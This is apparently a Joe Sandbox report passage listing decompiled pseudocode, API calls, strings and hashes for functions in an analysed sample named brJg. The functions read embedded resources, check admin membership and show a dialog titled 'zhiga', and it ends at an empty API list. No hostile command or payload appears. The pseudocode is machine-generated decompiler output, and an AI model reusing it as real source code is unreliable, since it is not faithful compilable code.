Function 00F8468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00F8468F(CHAR* __ecx, void* __edx, intOrPtr _a4) {
				long _t4;
				void* _t11;
				CHAR* _t14;
				void* _t15;
				long _t16;

				_t14 = __ecx;
				_t11 = __edx;
				_t4 = SizeofResource(0, FindResourceA(0, __ecx, 0xa));
				_t16 = _t4;
				if(_t16 <= _a4 && _t11 != 0) {
					if(_t16 == 0) {
						L5:
						return 0;
					}
					_t15 = LockResource(LoadResource(0, FindResourceA(0, _t14, 0xa)));
					if(_t15 == 0) {
						goto L5;
					}
					__imp__memcpy_s(_t11, _a4, _t15, _t16);
					FreeResource(_t15);
					return _t16;
				}
				return _t4;
			}

0x00f84699
0x00f8469b
0x00f846a9
0x00f846af
0x00f846b4
0x00f846bc
0x00f846f9
0x00000000
0x00f846f9
0x00f846d9
0x00f846dd
0x00000000
0x00000000
0x00f846e5
0x00f846ef
0x00000000
0x00f846f5
0x00f846ff

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
memcpy_s.MSVCRT ref: 00F846E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

Strings

TITLE, xrefs: 00F8469D, 00F846C0
zhiga, xrefs: 00F846E4

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$zhiga
API String ID: 3370778649-3314309
Opcode ID: a93137c2b41dd939d9e23fd44a476d501469d30be52240723983e37d3f339cd7
Instruction ID: 85ad2563db596ea34110a15934639ad1240650705a25ad884ba84c91a5fa9cc9
Opcode Fuzzy Hash: a93137c2b41dd939d9e23fd44a476d501469d30be52240723983e37d3f339cd7
Instruction Fuzzy Hash: A901F9326442097BF32027A55C0CFFB7E2CDBC6F61F080015FA49971C0D9719840A7B2

Uniqueness

Uniqueness Score: -1.00%

Function 00F817EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E00F817EE(intOrPtr* __ecx) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				_Unknown_base(*)()* _t20;
				long _t28;
				void* _t35;
				struct HINSTANCE__* _t36;
				signed int _t38;
				intOrPtr* _t39;

				_t14 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t14 ^ _t38;
				_v12 = 0x500;
				_t37 = __ecx;
				_v16.Value = 0;
				_v28 = __ecx;
				_t28 = 0;
				_t36 = LoadLibraryA("advapi32.dll");
				if(_t36 != 0) {
					_t20 = GetProcAddress(_t36, "CheckTokenMembership");
					_v20 = _t20;
					if(_t20 != 0) {
						 *_t37 = 0;
						_t28 = 1;
						if(AllocateAndInitializeSid( &_v16, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v24) != 0) {
							_t37 = _t39;
							 *0xf8a288(0, _v24, _v28);
							_v20();
							if(_t39 != _t39) {
								asm("int 0x29");
							}
							FreeSid(_v24);
						}
					}
					FreeLibrary(_t36);
				}
				return E00F86CE0(_t28, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x00f817f6
0x00f817fd
0x00f81805
0x00f8180b
0x00f8180d
0x00f81815
0x00f81818
0x00f81820
0x00f81824
0x00f8182c
0x00f81832
0x00f81837
0x00f81851
0x00f81854
0x00f8185d
0x00f81862
0x00f8186c
0x00f81872
0x00f81877
0x00f8187e
0x00f8187e
0x00f81883
0x00f81883
0x00f8185d
0x00f8188a
0x00f8188a
0x00f818a2

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,00F818DD), ref: 00F8181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00F8182C
AllocateAndInitializeSid.ADVAPI32(00F818DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00F818DD), ref: 00F81855
FreeSid.ADVAPI32(?,?,?,?,00F818DD), ref: 00F81883
FreeLibrary.KERNEL32(00000000,?,?,?,00F818DD), ref: 00F8188A

Strings

CheckTokenMembership, xrefs: 00F81826
advapi32.dll, xrefs: 00F81810

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: b8f16d077d155776bc91a1e7579d35a24282ae2c62bc7348a9d6821702d5d34b
Instruction ID: b59704a69fe716f9aa49d14166eb9e7d063285a8d20c566dbf5e6ae3ee36b68e
Opcode Fuzzy Hash: b8f16d077d155776bc91a1e7579d35a24282ae2c62bc7348a9d6821702d5d34b
Instruction Fuzzy Hash: 0A116A71E00209AFDB10AFA4DC4AAFEBB7CFF44711F10016AF905E6250DB719D059791

Uniqueness

Uniqueness Score: -1.00%

Function 00F83450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F83450(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t7;
				void* _t11;
				struct HWND__* _t12;
				int _t22;
				struct HWND__* _t24;

				_t7 = _a8 - 0x10;
				if(_t7 == 0) {
					EndDialog(_a4, 2);
					L11:
					return 1;
				}
				_t11 = _t7 - 0x100;
				if(_t11 == 0) {
					_t12 = GetDesktopWindow();
					_t24 = _a4;
					E00F843D0(_t24, _t12);
					SetWindowTextA(_t24, "zhiga");
					SetDlgItemTextA(_t24, 0x838,  *0xf89404);
					SetForegroundWindow(_t24);
					goto L11;
				}
				if(_t11 == 1) {
					_t22 = _a12;
					if(_t22 < 6) {
						goto L11;
					}
					if(_t22 <= 7) {
						L8:
						EndDialog(_a4, _t22);
						return 1;
					}
					if(_t22 != 0x839) {
						goto L11;
					}
					 *0xf891dc = 1;
					goto L8;
				}
				return 0;
			}

0x00f83459
0x00f8345c
0x00f834d8
0x00f834de
0x00000000
0x00f834e0
0x00f8345e
0x00f83463
0x00f8349a
0x00f834a0
0x00f834a7
0x00f834b2
0x00f834c4
0x00f834cb
0x00000000
0x00f834cb
0x00f83468
0x00f8346e
0x00f83474
0x00000000
0x00000000
0x00f8347c
0x00f8348c
0x00f83490
0x00000000
0x00f83496
0x00f83484
0x00000000
0x00000000
0x00f83486
0x00000000
0x00f83486
0x00000000

APIs

EndDialog.USER32(?,?), ref: 00F83490
GetDesktopWindow.USER32 ref: 00F8349A
SetWindowTextA.USER32(?,zhiga), ref: 00F834B2
SetDlgItemTextA.USER32(?,00000838), ref: 00F834C4
SetForegroundWindow.USER32(?), ref: 00F834CB
EndDialog.USER32(?,00000002), ref: 00F834D8

Strings

zhiga, xrefs: 00F834AC

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: zhiga
API String ID: 852535152-3705506974
Opcode ID: 643472a08c522f5abda10d25bd833a1da242c41b87e3505aeb41fb45cac7f958
Instruction ID: 3a4c848608eb3baff4ff59ed4fddf151d20713878418aa0db3f8dd6fc642cad3
Opcode Fuzzy Hash: 643472a08c522f5abda10d25bd833a1da242c41b87e3505aeb41fb45cac7f958
Instruction Fuzzy Hash: 9701B132644518ABEB16AF64DC0C9FD3A64EB05F20F104411F947865B0CB749F51FB81

Uniqueness

Uniqueness Score: -1.00%

Function 00F82AAC Relevance: 12.1, APIs: 8, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00F82AAC(CHAR* __ecx, char* __edx, CHAR* _a4) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				int _t21;
				char _t32;
				intOrPtr _t34;
				char* _t38;
				char _t42;
				char* _t44;
				CHAR* _t52;
				intOrPtr* _t55;
				CHAR* _t59;
				void* _t62;
				CHAR* _t64;
				CHAR* _t65;
				signed int _t66;

				_t60 = __edx;
				_t16 =  *0xf88004; // 0x7e92e7a6
				_t17 = _t16 ^ _t66;
				_v8 = _t16 ^ _t66;
				_t65 = _a4;
				_t44 = __edx;
				_t64 = __ecx;
				if( *((char*)(__ecx)) != 0) {
					GetModuleFileNameA( *0xf89a3c,  &_v268, 0x104);
					while(1) {
						_t17 =  *_t64;
						if(_t17 == 0) {
							break;
						}
						_t21 = IsDBCSLeadByte(_t17);
						 *_t65 =  *_t64;
						if(_t21 != 0) {
							_t65[1] = _t64[1];
						}
						if( *_t64 != 0x23) {
							L19:
							_t65 = CharNextA(_t65);
						} else {
							_t64 = CharNextA(_t64);
							if(CharUpperA( *_t64) != 0x44) {
								if(CharUpperA( *_t64) != 0x45) {
									if( *_t64 == 0x23) {
										goto L19;
									}
								} else {
									E00F81680(_t65, E00F817C8(_t44, _t65),  &_v268);
									_t52 = _t65;
									_t14 =  &(_t52[1]); // 0x2
									_t60 = _t14;
									do {
										_t32 =  *_t52;
										_t52 =  &(_t52[1]);
									} while (_t32 != 0);
									goto L17;
								}
							} else {
								E00F865E8( &_v268);
								_t55 =  &_v268;
								_t62 = _t55 + 1;
								do {
									_t34 =  *_t55;
									_t55 = _t55 + 1;
								} while (_t34 != 0);
								_t38 = CharPrevA( &_v268,  &(( &_v268)[_t55 - _t62]));
								if(_t38 != 0 &&  *_t38 == 0x5c) {
									 *_t38 = 0;
								}
								E00F81680(_t65, E00F817C8(_t44, _t65),  &_v268);
								_t59 = _t65;
								_t12 =  &(_t59[1]); // 0x2
								_t60 = _t12;
								do {
									_t42 =  *_t59;
									_t59 =  &(_t59[1]);
								} while (_t42 != 0);
								L17:
								_t65 =  &(_t65[_t52 - _t60]);
							}
						}
						_t64 = CharNextA(_t64);
					}
					 *_t65 = _t17;
				}
				return E00F86CE0(_t17, _t44, _v8 ^ _t66, _t60, _t64, _t65);
			}

0x00f82aac
0x00f82ab7
0x00f82abc
0x00f82abe
0x00f82ac3
0x00f82ac6
0x00f82ac9
0x00f82ace
0x00f82ae6
0x00f82bdc
0x00f82bdc
0x00f82be0
0x00000000
0x00000000
0x00f82af2
0x00f82afc
0x00f82b00
0x00f82b05
0x00f82b05
0x00f82b0b
0x00f82bca
0x00f82bd1
0x00f82b11
0x00f82b18
0x00f82b26
0x00f82b99
0x00f82bc8
0x00000000
0x00000000
0x00f82b9b
0x00f82bae
0x00f82bb3
0x00f82bb5
0x00f82bb5
0x00f82bb8
0x00f82bb8
0x00f82bba
0x00f82bbb
0x00000000
0x00f82bb8
0x00f82b28
0x00f82b2e
0x00f82b33
0x00f82b39
0x00f82b3c
0x00f82b3c
0x00f82b3e
0x00f82b3f
0x00f82b55
0x00f82b5d
0x00f82b64
0x00f82b64
0x00f82b7a
0x00f82b7f
0x00f82b81
0x00f82b81
0x00f82b84
0x00f82b84
0x00f82b86
0x00f82b87
0x00f82bbf
0x00f82bc1
0x00f82bc1
0x00f82b26
0x00f82bda
0x00f82bda
0x00f82be6
0x00f82be6
0x00f82bf8

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 00F82AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 00F82AF2
CharNextA.USER32(?), ref: 00F82B12
CharUpperA.USER32 ref: 00F82B1E
CharPrevA.USER32(?,?), ref: 00F82B55
CharNextA.USER32(?), ref: 00F82BD4

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: a8ca9a89a3e3fc53b4620afeba94990907e5431b106ec9ffc7a6fa276ca0ee91
Instruction ID: 9661ef238e8b256b6c7a8b87863ba2d7c40344dd726906a6f11e53b3f500099f
Opcode Fuzzy Hash: a8ca9a89a3e3fc53b4620afeba94990907e5431b106ec9ffc7a6fa276ca0ee91
Instruction Fuzzy Hash: D6413A34A051495FEF55AF348C54AFD7BA9DF92310F14009AE8C287202DF399E46EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F843D0 Relevance: 10.6, APIs: 7, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00F843D0(struct HWND__* __ecx, struct HWND__* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				void* _t53;
				intOrPtr _t56;
				int _t59;
				struct HWND__* _t63;
				struct HWND__* _t67;
				struct HWND__* _t68;
				struct HDC__* _t69;
				int _t72;
				signed int _t74;

				_t63 = __edx;
				_t29 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t29 ^ _t74;
				_t68 = __edx;
				_v44 = __ecx;
				GetWindowRect(__ecx,  &_v40);
				_t53 = _v40.bottom - _v40.top;
				_v48 = _v40.right - _v40.left;
				GetWindowRect(_t68,  &_v24);
				_v56 = _v24.bottom - _v24.top;
				_t69 = GetDC(_v44);
				_v52 = GetDeviceCaps(_t69, 8);
				_v60 = GetDeviceCaps(_t69, 0xa);
				ReleaseDC(_v44, _t69);
				_t56 = _v48;
				asm("cdq");
				_t72 = (_v24.right - _v24.left - _t56 - _t63 >> 1) + _v24.left;
				_t67 = 0;
				if(_t72 >= 0) {
					_t63 = _v52;
					if(_t72 + _t56 > _t63) {
						_t72 = _t63 - _t56;
					}
				} else {
					_t72 = _t67;
				}
				asm("cdq");
				_t59 = (_v56 - _t53 - _t63 >> 1) + _v24.top;
				if(_t59 >= 0) {
					_t63 = _v60;
					if(_t59 + _t53 > _t63) {
						_t59 = _t63 - _t53;
					}
				} else {
					_t59 = _t67;
				}
				return E00F86CE0(SetWindowPos(_v44, _t67, _t72, _t59, _t67, _t67, 5), _t53, _v8 ^ _t74, _t63, _t67, _t72);
			}

0x00f843d0
0x00f843d8
0x00f843df
0x00f843e6
0x00f843ec
0x00f843f1
0x00f84400
0x00f84403
0x00f8440b
0x00f84420
0x00f84429
0x00f84437
0x00f84444
0x00f84447
0x00f8444d
0x00f84454
0x00f8445b
0x00f84460
0x00f84461
0x00f84467
0x00f8446f
0x00f84473
0x00f84473
0x00f84463
0x00f84463
0x00f84463
0x00f8447a
0x00f84481
0x00f84484
0x00f8448a
0x00f84492
0x00f84496
0x00f84496
0x00f84486
0x00f84486
0x00f84486
0x00f844b8

APIs

GetWindowRect.USER32(?,?), ref: 00F843F1
GetWindowRect.USER32(00000000,?), ref: 00F8440B
GetDC.USER32(?), ref: 00F84423
GetDeviceCaps.GDI32(00000000,00000008), ref: 00F8442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00F8443A
ReleaseDC.USER32(?,00000000), ref: 00F84447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,00000001,?), ref: 00F844A2

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 3ec5185e1f41faafe966545b1ed98b1e943bcad60116f30e01ac2d99372ed2ba
Instruction ID: 5cdb442add0bc3976f4e91dee0f0fb7790f49e40224488fddb167cd6dc9ed3c0
Opcode Fuzzy Hash: 3ec5185e1f41faafe966545b1ed98b1e943bcad60116f30e01ac2d99372ed2ba
Instruction Fuzzy Hash: 6A315A32E0051DAFDB14DFB8DD889EEBBB5EB89310F254169F805F3250DA30AC059B60

Uniqueness

Uniqueness Score: -1.00%

Function 00F86298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00F86298(intOrPtr __ecx, intOrPtr* __edx) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				struct HRSRC__* _t21;
				intOrPtr _t26;
				void* _t30;
				struct HINSTANCE__* _t36;
				intOrPtr* _t40;
				void* _t41;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;
				signed int _t50;
				struct HINSTANCE__* _t51;

				_t44 = __edx;
				_t16 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t16 ^ _t50;
				_t46 = 0;
				_v32 = __ecx;
				_v36 = 0;
				_t36 = 1;
				E00F8171E( &_v28, 0x14, "UPDFILE%lu", 0);
				while(1) {
					_t51 = _t51 + 0x10;
					_t21 = FindResourceA(_t46,  &_v28, 0xa);
					if(_t21 == 0) {
						break;
					}
					_t45 = LockResource(LoadResource(_t46, _t21));
					if(_t45 == 0) {
						 *0xf89124 = 0x80070714;
						_t36 = _t46;
					} else {
						_t5 = _t45 + 8; // 0x8
						_t44 = _t5;
						_t40 = _t44;
						_t6 = _t40 + 1; // 0x9
						_t47 = _t6;
						do {
							_t26 =  *_t40;
							_t40 = _t40 + 1;
						} while (_t26 != 0);
						_t41 = _t40 - _t47;
						_t46 = _t51;
						_t7 = _t41 + 1; // 0xa
						 *0xf8a288( *_t45,  *((intOrPtr*)(_t45 + 4)), _t44, _t7 + _t44);
						_t30 = _v32();
						if(_t51 != _t51) {
							asm("int 0x29");
						}
						_push(_t45);
						if(_t30 == 0) {
							_t36 = 0;
							FreeResource(??);
						} else {
							FreeResource();
							_v36 = _v36 + 1;
							E00F8171E( &_v28, 0x14, "UPDFILE%lu", _v36 + 1);
							_t46 = 0;
							continue;
						}
					}
					L12:
					return E00F86CE0(_t36, _t36, _v8 ^ _t50, _t44, _t45, _t46);
				}
				goto L12;
			}

0x00f86298
0x00f862a0
0x00f862a7
0x00f862ad
0x00f862af
0x00f862bb
0x00f862c3
0x00f862c4
0x00f8633b
0x00f8633b
0x00f86345
0x00f8634d
0x00000000
0x00000000
0x00f862da
0x00f862de
0x00f8635f
0x00f86369
0x00f862e0
0x00f862e0
0x00f862e0
0x00f862e3
0x00f862e5
0x00f862e5
0x00f862e8
0x00f862e8
0x00f862ea
0x00f862eb
0x00f862ef
0x00f862f1
0x00f862f3
0x00f86302
0x00f86308
0x00f8630d
0x00f86314
0x00f86314
0x00f86316
0x00f86319
0x00f86355
0x00f86357
0x00f8631b
0x00f8631b
0x00f86331
0x00f86334
0x00f86339
0x00000000
0x00f86339
0x00f86319
0x00f8636b
0x00f8637d
0x00f8637d
0x00000000

APIs

Part of subcall function 00F8171E: _vsnprintf.MSVCRT ref: 00F81750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,00F851CA,00000004,00000024,00F82F71,?,00000002,00000000), ref: 00F862CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,00F851CA,00000004,00000024,00F82F71,?,00000002,00000000), ref: 00F862D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,00F851CA,00000004,00000024,00F82F71,?,00000002,00000000), ref: 00F8631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 00F86345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,00F851CA,00000004,00000024,00F82F71,?,00000002,00000000), ref: 00F86357

Strings

UPDFILE%lu, xrefs: 00F862B3, 00F86329

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: fe12ebcf1929f11c5a9e7d1b056afb56cfede8c5affcc726db414384a53fa5e1
Instruction ID: 096558f961a4bfc61cf7c631631876f6364363db60d10102d41139e112eec9ba
Opcode Fuzzy Hash: fe12ebcf1929f11c5a9e7d1b056afb56cfede8c5affcc726db414384a53fa5e1
Instruction Fuzzy Hash: C121F671A00219ABEB10AFA4DC499FE7B7CFB44710B00021AF902E3241DB359D02ABE1

Uniqueness

Uniqueness Score: -1.00%

Function 00F8681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F8681F(void* __ebx) {
				signed int _v8;
				char _v20;
				struct _OSVERSIONINFOA _v168;
				void* _v172;
				int* _v176;
				int _v180;
				int _v184;
				void* __edi;
				void* __esi;
				signed int _t19;
				long _t31;
				signed int _t35;
				void* _t36;
				intOrPtr _t41;
				signed int _t44;

				_t36 = __ebx;
				_t19 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t19 ^ _t44;
				_t41 =  *0xf881d8; // 0xfffffffe
				_t43 = 0;
				_v180 = 0xc;
				_v176 = 0;
				if(_t41 == 0xfffffffe) {
					 *0xf881d8 = 0;
					_v168.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v168) == 0) {
						L12:
						_t41 =  *0xf881d8; // 0xfffffffe
					} else {
						_t41 = 1;
						if(_v168.dwPlatformId != 1 || _v168.dwMajorVersion != 4 || _v168.dwMinorVersion >= 0xa || GetSystemMetrics(0x4a) == 0 || RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019,  &_v172) != 0) {
							goto L12;
						} else {
							_t31 = RegQueryValueExA(_v172, 0xf81140, 0,  &_v184,  &_v20,  &_v180);
							_t43 = _t31;
							RegCloseKey(_v172);
							if(_t31 != 0) {
								goto L12;
							} else {
								_t40 =  &_v176;
								if(E00F866F9( &_v20,  &_v176) == 0) {
									goto L12;
								} else {
									_t35 = _v176 & 0x000003ff;
									if(_t35 == 1 || _t35 == 0xd) {
										 *0xf881d8 = _t41;
									} else {
										goto L12;
									}
								}
							}
						}
					}
				}
				return E00F86CE0(_t41, _t36, _v8 ^ _t44, _t40, _t41, _t43);
			}

0x00f8681f
0x00f8682a
0x00f86831
0x00f86836
0x00f8683c
0x00f8683e
0x00f86848
0x00f86851
0x00f8685d
0x00f86864
0x00f86876
0x00f8693a
0x00f8693a
0x00f8687c
0x00f8687e
0x00f86885
0x00000000
0x00f868d6
0x00f868f4
0x00f86900
0x00f86902
0x00f8690a
0x00000000
0x00f8690c
0x00f8690c
0x00f8691c
0x00000000
0x00f8691e
0x00f86924
0x00f8692b
0x00f86932
0x00000000
0x00000000
0x00000000
0x00f8692b
0x00f8691c
0x00f8690a
0x00f86885
0x00f86876
0x00f86951

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 00F8686E
GetSystemMetrics.USER32(0000004A), ref: 00F868A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 00F868CC
RegQueryValueExA.ADVAPI32(?,00F81140,00000000,?,?,0000000C), ref: 00F868F4
RegCloseKey.ADVAPI32(?), ref: 00F86902

Part of subcall function 00F866F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,00F8691A), ref: 00F86741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00F868C2

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 63292bd12a7d01b1a19ff9d36df6a02092d7f4ef4ff2bb8df984a6fff1e343d3
Instruction ID: 5e4cdcefcdd49df0254a7cd117f3542546a212dab8753b31df69f90f0481b5ef
Opcode Fuzzy Hash: 63292bd12a7d01b1a19ff9d36df6a02092d7f4ef4ff2bb8df984a6fff1e343d3
Instruction Fuzzy Hash: 2E313C31E00228DFDB31AB51DD45BEAB7B9EB45778F0001A5E949E6180DB309E86EF52

Uniqueness

Uniqueness Score: -1.00%

Function 00F83A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F83A3F(void* __eflags) {
				void* _t3;
				void* _t9;
				CHAR* _t16;

				_t16 = "LICENSE";
				_t1 = E00F8468F(_t16, 0, 0) + 1; // 0x1
				_t3 = LocalAlloc(0x40, _t1);
				 *0xf88d4c = _t3;
				if(_t3 != 0) {
					_t19 = _t16;
					if(E00F8468F(_t16, _t3, _t28) != 0) {
						if(lstrcmpA( *0xf88d4c, "<None>") == 0) {
							LocalFree( *0xf88d4c);
							L9:
							 *0xf89124 = 0;
							return 1;
						}
						_t9 = E00F86517(_t19, 0x7d1, 0, E00F83100, 0, 0);
						LocalFree( *0xf88d4c);
						if(_t9 != 0) {
							goto L9;
						}
						 *0xf89124 = 0x800704c7;
						L2:
						return 0;
					}
					E00F844B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree( *0xf88d4c);
					 *0xf89124 = 0x80070714;
					goto L2;
				}
				E00F844B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0xf89124 = E00F86285();
				goto L2;
			}

0x00f83a46
0x00f83a57
0x00f83a5d
0x00f83a63
0x00f83a6a
0x00f83a91
0x00f83a9a
0x00f83ad8
0x00f83b13
0x00f83b19
0x00f83b1b
0x00000000
0x00f83b21
0x00f83ae7
0x00f83af4
0x00f83afc
0x00000000
0x00000000
0x00f83afe
0x00f83a87
0x00000000
0x00f83a87
0x00f83aa8
0x00f83ab3
0x00f83ab9
0x00000000
0x00f83ab9
0x00f83a78
0x00f83a82
0x00000000

APIs

